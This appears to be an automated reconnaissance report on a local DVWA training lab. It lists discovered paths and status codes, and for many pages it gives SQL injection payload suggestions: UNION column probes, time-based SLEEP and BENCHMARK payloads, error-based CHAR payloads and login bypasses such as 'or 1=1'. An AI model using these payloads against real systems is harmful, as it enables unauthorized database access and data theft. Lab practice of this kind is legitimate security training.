

Cheatsheet for http://127.0.0.1/DVWA/	
OSINT Information	
No OSINT info available	
AI Powered Summary	
'DVWA is a deliberately vulnerable web application that is used for security training and testing.\n'	
Found Social Media Links	
No Social Media info available	
Found Emails	
No Email Addresses available	
Suspected file types	
' .php', ' .html', ' .aspx', ' .js', ' .jsp'	
Found Paths	
Method: GET, Total #: 167	
1	http://127.0.0.1/DVWA/index.php -> 200 -> SQLi Suggestions:
<div><div>✓</div><div>x</div></div>	<div>UNION SELECT</div> <div>@ @VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,</div> <div>21,22,23,24,25,26#</div>
<div><div>✓</div><div>x</div></div>	<div>or 1=1--</div>
<div><div>✓</div><div>x</div></div>	<div>AND 5650=CONVERT(INT,(UNION ALL</div> <div>SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12</div> <div>0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))--</div>
<div><div>✓</div><div>x</div></div>	<div>AND 5650=CONVERT(INT,(UNION ALL</div> <div>SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12</div> <div>0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)</div> <div>))</div>

✓	x	or SLEEP(5)='
2		http://127.0.0.1/DVWA/about.php -> 200 -> SQLi Suggestions:
✓	x	AND 1=0
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
✓	x	AND 1=0--
✓	x	AnD SLEEP(5)
✓	x	"
3		http://127.0.0.1/DVWA/login.php -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(88)+CHAR(88)+CHAR(88)))--
✓	x	ORDER BY 24#
✓	x	UNION ALL SELECT 1,2,3,4,5#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
4		http://127.0.0.1/DVWA/security.php -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT @@VERSION,SLEEP(5),3
✓	x	ORDER BY 25#
✓	x	or benchmark(50000000,MD5(1))--
✓	x	ORDER BY
		1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
✓	x	-- or #
5		http://127.0.0.1/DVWA/docs/ -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 6#
✓	x	ORDER BY 2
✓	x	' or true--
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
✓	x	AND 5650=CONVERT(INT,(UNION ALL

		SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))--
6		http://127.0.0.1/DVWA/docs -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
✓	x	1' ORDER BY 1,2--+
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
7		http://127.0.0.1/DVWA/About.php -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 13
✓	x	ORDER BY SLEEP(5)
✓	x	ORDER BY 26#
✓	x	pg_SLEEP(5)--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
8		http://127.0.0.1/DVWA/Security.php -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
✓	x	ORDER BY 18
✓	x	&&SLEEP(5)#
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16--
✓	x	ORDER BY 28--

9	http://127.0.0.1/DVWA/Index.php -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT
		@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
✓	x	UNION SELECT
		@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
✓	x	")) or sleep(5)="
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15--
10	http://127.0.0.1/DVWA/Login.php -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT
		@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
✓	x	UNION ALL SELECT 1,2#
✓	x	and (select substring(@@version,1,1))='X'
✓	x	ORDER BY 21
11	http://127.0.0.1/DVWA/external -> 200 -> SQLi Suggestions:	
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
✓	x	AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
✓	x	UNION ALL SELECT 1,2,3,4,5#
12	http://127.0.0.1/DVWA/external/ -> 200 -> SQLi Suggestions:	

✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9
✓	x	UNION ALL SELECT
		'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
✓	x	&&SLEEP(5)
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
13		http://127.0.0.1/DVWA/logout.php -> 200 -> SQLi Suggestions:
✓	x	1*1
✓	x	ORDER BY 30#
✓	x	" or "" "
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)))
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
14		http://127.0.0.1/DVWA/config/ -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23
✓	x	WHERE 1=1 AND 1=1--
✓	x	admin") or "1"="1"/*
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
15		http://127.0.0.1/DVWA/config -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4#

✓	x	" or sleep(5)#
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
16		http://127.0.0.1/DVWA/setup.php -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
✓	x	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
17		http://127.0.0.1/DVWA/Docs/ -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28#
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
✓	x	IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
✓	x	UNION ALL SELECT NULL#
18		http://127.0.0.1/DVWA/Docs -> 200 -> SQLi Suggestions:

✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
✓	x	,
✓	x	admin' or '1'='1'/*
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3#
19		http://127.0.0.1/DVWA/vulnerabilities -> 200 -> SQLi Suggestions:
✓	x	or SLEEP(5)='
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
✓	x	AND true
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
20		http://127.0.0.1/DVWA/vulnerabilities/ -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28#
✓	x	,
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--
✓	x	benchmark(50000000,MD5(1))--
✓	x	1)) or benchmark(10000000,MD5(1))#
21		http://127.0.0.1/DVWA/%20/ -> 403

22	http://127.0.0.1/DVWA/%20 -> 403
23	http://127.0.0.1/DVWA/INDEX.php -> 200 -> SQLi Suggestions:
✓	x AND 1=1
✓	x UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
✓	x UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
✓	x AND 1=1--
✓	x UNION ALL SELECT 1,2,3,4,5,6,7,8,9
24	http://127.0.0.1/DVWA/instructions.php -> 200 -> SQLi Suggestions:
✓	x UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4--
✓	x UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
✓	x and (select substring(@@version,3,1))='X'
✓	x and (select substring(@@version,1,1))='X'
✓	x ORDER BY 13#
25	http://127.0.0.1/DVWA/*checkout*.php -> 403
26	http://127.0.0.1/DVWA/*checkout*.aspx -> 403
27	http://127.0.0.1/DVWA/*checkout*.jsp -> 403
28	http://127.0.0.1/DVWA/*checkout*.html -> 403
29	http://127.0.0.1/DVWA/*checkout*.js -> 403
30	http://127.0.0.1/DVWA/*checkout* -> 403
31	http://127.0.0.1/DVWA/*checkout*/ -> 403
32	http://127.0.0.1/DVWA/SECURITY.php -> 200 -> SQLi Suggestions:
✓	x &&SLEEP(5)--
✓	x ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
✓	x UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10--
✓	x 'LIKE'
✓	x AND 5650=CONVERT(INT,(UNION ALL

		SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))--
33		http://127.0.0.1/DVWA/Setup.php -> 200 -> SQLi Suggestions:
✓	x	' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
✓	x	ORDER BY 4--
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
34		http://127.0.0.1/DVWA/Logout.php -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT USER()--
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
✓	x	ORDER BY 15#
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))--
35		http://127.0.0.1/DVWA/Config/ -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 23#
✓	x	admin'or 1=1 or ''='
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
✓	x	and (select substring(@@version,1,1))='X'
36		http://127.0.0.1/DVWA/Config -> 200 -> SQLi Suggestions:
✓	x	waitfor delay '00:00:05'
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11#
✓	x	admin' or 1=1/*

✓	x	ORDER BY 4
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
37		http://127.0.0.1/DVWA/*docroot*.php -> 403
38		http://127.0.0.1/DVWA/*docroot*.aspx -> 403
39		http://127.0.0.1/DVWA/*docroot*.jsp -> 403
40		http://127.0.0.1/DVWA/*docroot*.html -> 403
41		http://127.0.0.1/DVWA/*docroot*.js -> 403
42		http://127.0.0.1/DVWA/*docroot* -> 403
43		http://127.0.0.1/DVWA/*docroot*/ -> 403
44		http://127.0.0.1/DVWA/*.php -> 403
45		http://127.0.0.1/DVWA/*.aspx -> 403
46		http://127.0.0.1/DVWA/*.jsp -> 403
47		http://127.0.0.1/DVWA/*.html -> 403
48		http://127.0.0.1/DVWA/*.js -> 403
49		http://127.0.0.1/DVWA/* -> 403
50		http://127.0.0.1/DVWA*/ -> 403
51		http://127.0.0.1/DVWA/con.php -> 403
52		http://127.0.0.1/DVWA/con.aspx -> 403
53		http://127.0.0.1/DVWA/con.jsp -> 403
54		http://127.0.0.1/DVWA/con.html -> 403
55		http://127.0.0.1/DVWA/con.js -> 403
56		http://127.0.0.1/DVWA/con -> 403
57		http://127.0.0.1/DVWA/con/ -> 403
58		http://127.0.0.1/DVWA/External/ -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8#

✓	x	or SLEEP(5)--
✓	x	ORDER BY SLEEP(5)#
✓	x	or pg_SLEEP(5)#
59	http://127.0.0.1/DVWA/External -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
✓	x	ORDER BY 18--
✓	x	admin" or 1=1
✓	x	AND 1=0
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
60	http://127.0.0.1/DVWA/DOCS/ -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT
		'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
✓	x	ORDER BY 22
✓	x	admin' or '1'='1
✓	x	" or "" "
✓	x	UNION ALL SELECT
		@ @VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL--
61	http://127.0.0.1/DVWA/DOCS -> 200 -> SQLi Suggestions:	
✓	x	");waitfor delay '0:0:5'--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(88)+CHAR(88)+CHAR(88)))#
✓	x	admin") or ("1"="1"#
✓	x	') or sleep(5)='
✓	x	or pg_SLEEP(5)
62	http://127.0.0.1/DVWA/http%3A.php -> 403	
63	http://127.0.0.1/DVWA/http%3A.aspx -> 403	

64	http://127.0.0.1/DVWA/http%3A.jsp -> 403
65	http://127.0.0.1/DVWA/http%3A.html -> 403
66	http://127.0.0.1/DVWA/http%3A -> 403
67	http://127.0.0.1/DVWA/http%3A.js -> 403
68	http://127.0.0.1/DVWA/http%3A/ -> 403
69	http://127.0.0.1/DVWA/**http%3a.php -> 403
70	http://127.0.0.1/DVWA/**http%3a.aspx -> 403
71	http://127.0.0.1/DVWA/**http%3a.jsp -> 403
72	http://127.0.0.1/DVWA/**http%3a.html -> 403
73	http://127.0.0.1/DVWA/**http%3a.js -> 403
74	http://127.0.0.1/DVWA/**http%3a -> 403
75	http://127.0.0.1/DVWA/**http%3a/ -> 403
76	http://127.0.0.1/DVWA/aux.aspx -> 403
77	http://127.0.0.1/DVWA/aux.jsp -> 403
78	http://127.0.0.1/DVWA/aux.html -> 403
79	http://127.0.0.1/DVWA/aux.js -> 403
80	http://127.0.0.1/DVWA/aux -> 403
81	http://127.0.0.1/DVWA/aux/ -> 403
82	http://127.0.0.1/DVWA/aux.php -> 403
83	http://127.0.0.1/DVWA/EXTERNAL/ -> 200 -> SQLi Suggestions:
✓	x UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11#
✓	x ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
✓	x UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
✓	x OR 1=1#
✓	x ORDER BY 18
84	http://127.0.0.1/DVWA/EXTERNAL -> 200 -> SQLi Suggestions:

✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)))--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
85		http://127.0.0.1/DVWA/*http%3A.php -> 403
86		http://127.0.0.1/DVWA/*http%3A.aspx -> 403
87		http://127.0.0.1/DVWA/*http%3A.jsp -> 403
88		http://127.0.0.1/DVWA/*http%3A.html -> 403
89		http://127.0.0.1/DVWA/*http%3A.js -> 403
90		http://127.0.0.1/DVWA/*http%3A -> 403
91		http://127.0.0.1/DVWA/*http%3A/ -> 403
92		http://127.0.0.1/DVWA/ABOUT.php -> 200 -> SQLi Suggestions:
✓	x	')) or pg_sleep(5)--
✓	x	SLEEP(5)="
✓	x	ORDER BY 29--
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8#
✓	x	ORDER BY 5--
93		http://127.0.0.1/DVWA/**http%3A.php -> 403
94		http://127.0.0.1/DVWA/**http%3A.aspx -> 403
95		http://127.0.0.1/DVWA/**http%3A.jsp -> 403

96	http://127.0.0.1/DVWA/**http%3A.html -> 403
97	http://127.0.0.1/DVWA/**http%3A.js -> 403
98	http://127.0.0.1/DVWA/**http%3A -> 403
99	http://127.0.0.1/DVWA/**http%3A/ -> 403
100	http://127.0.0.1/DVWA/%C0.php -> 403
101	http://127.0.0.1/DVWA/%C0.aspx -> 403
102	http://127.0.0.1/DVWA/%C0.jsp -> 403
103	http://127.0.0.1/DVWA/%C0.html -> 403
104	http://127.0.0.1/DVWA/%C0.js -> 403
105	http://127.0.0.1/DVWA/%C0 -> 403
106	http://127.0.0.1/DVWA/%C0/ -> 403
107	http://127.0.0.1/DVWA/Vulnerabilities/ -> 200 -> SQLi Suggestions:
✓	x ORDER BY 11--
✓	x ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
✓	x " or "" "
✓	x ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
✓	x UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
108	http://127.0.0.1/DVWA/Vulnerabilities -> 200 -> SQLi Suggestions:
✓	x ORDER BY
	1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
✓	x UNION ALL SELECT 1,2,3,4,5,6,7,8--
✓	x ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
✓	x ORDER BY 18--
✓	x UNION ALL SELECT
	@ @VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,--

109	http://127.0.0.1/DVWA/phpinfo.php -> 200 -> SQLi Suggestions:	
✓	x	HAVING 1=0--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)))
✓	x	,(select * from (select(sleep(10)))a)
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
✓	x	1 or sleep(5)#
110	http://127.0.0.1/DVWA/SETUP.php -> 200 -> SQLi Suggestions:	
✓	x	" or ""--
✓	x	ORDER BY 10--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
✓	x	' GROUP BY columnnames having 1=1 --
✓	x	" or ""&"
111	http://127.0.0.1/DVWA/Instructions.php -> 200 -> SQLi Suggestions:	
✓	x	and (select substring(@@version,3,1))='X'
✓	x	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
✓	x	IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcj --
✓	x	!*!
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
112	http://127.0.0.1/DVWA/Vulnerabilities/con.php -> 403	
113	http://127.0.0.1/DVWA/Vulnerabilities/con.aspx -> 403	

114	http://127.0.0.1/DVWA/Vulnerabilities/con.jsp -> 403
115	http://127.0.0.1/DVWA/Vulnerabilities/con.html -> 403
116	http://127.0.0.1/DVWA/Vulnerabilities/con.js -> 403
117	http://127.0.0.1/DVWA/Vulnerabilities/con -> 403
118	http://127.0.0.1/DVWA/Vulnerabilities/con/ -> 403
119	http://127.0.0.1/DVWA/vulnerabilities/con.php -> 403
120	http://127.0.0.1/DVWA/vulnerabilities/con.aspx -> 403
121	http://127.0.0.1/DVWA/vulnerabilities/con.jsp -> 403
122	http://127.0.0.1/DVWA/vulnerabilities/con.html -> 403
123	http://127.0.0.1/DVWA/vulnerabilities/con.js -> 403
124	http://127.0.0.1/DVWA/vulnerabilities/con -> 403
125	http://127.0.0.1/DVWA/vulnerabilities/con/ -> 403
126	http://127.0.0.1/DVWA/Docs/con.php -> 403
127	http://127.0.0.1/DVWA/Docs/con.aspx -> 403
128	http://127.0.0.1/DVWA/Docs/con.jsp -> 403
129	http://127.0.0.1/DVWA/Docs/con.html -> 403
130	http://127.0.0.1/DVWA/Docs/con.js -> 403
131	http://127.0.0.1/DVWA/Docs/con -> 403
132	http://127.0.0.1/DVWA/Docs/con/ -> 403
133	http://127.0.0.1/DVWA/docs/con.php -> 403
134	http://127.0.0.1/DVWA/docs/con.aspx -> 403
135	http://127.0.0.1/DVWA/docs/con.jsp -> 403
136	http://127.0.0.1/DVWA/docs/con.html -> 403
137	http://127.0.0.1/DVWA/docs/con.js -> 403
138	http://127.0.0.1/DVWA/docs/con -> 403
139	http://127.0.0.1/DVWA/docs/con/ -> 403

140	http://127.0.0.1/DVWA/DOCS/con.php -> 403
141	http://127.0.0.1/DVWA/DOCS/con.aspx -> 403
142	http://127.0.0.1/DVWA/DOCS/con.jsp -> 403
143	http://127.0.0.1/DVWA/DOCS/con.html -> 403
144	http://127.0.0.1/DVWA/DOCS/con.js -> 403
145	http://127.0.0.1/DVWA/DOCS/con -> 403
146	http://127.0.0.1/DVWA/DOCS/con/ -> 403
147	http://127.0.0.1/DVWA/EXTERNAL/con.php -> 403
148	http://127.0.0.1/DVWA/EXTERNAL/con.aspx -> 403
149	http://127.0.0.1/DVWA/EXTERNAL/con.jsp -> 403
150	http://127.0.0.1/DVWA/EXTERNAL/con.html -> 403
151	http://127.0.0.1/DVWA/EXTERNAL/con.js -> 403
152	http://127.0.0.1/DVWA/EXTERNAL/con -> 403
153	http://127.0.0.1/DVWA/EXTERNAL/con/ -> 403
154	http://127.0.0.1/DVWA/External/con.php -> 403
155	http://127.0.0.1/DVWA/External/con.aspx -> 403
156	http://127.0.0.1/DVWA/External/con.jsp -> 403
157	http://127.0.0.1/DVWA/External/con.html -> 403
158	http://127.0.0.1/DVWA/External/con.js -> 403
159	http://127.0.0.1/DVWA/External/con -> 403
160	http://127.0.0.1/DVWA/External/con/ -> 403
161	http://127.0.0.1/DVWA/external/con.php -> 403
162	http://127.0.0.1/DVWA/external/con.aspx -> 403
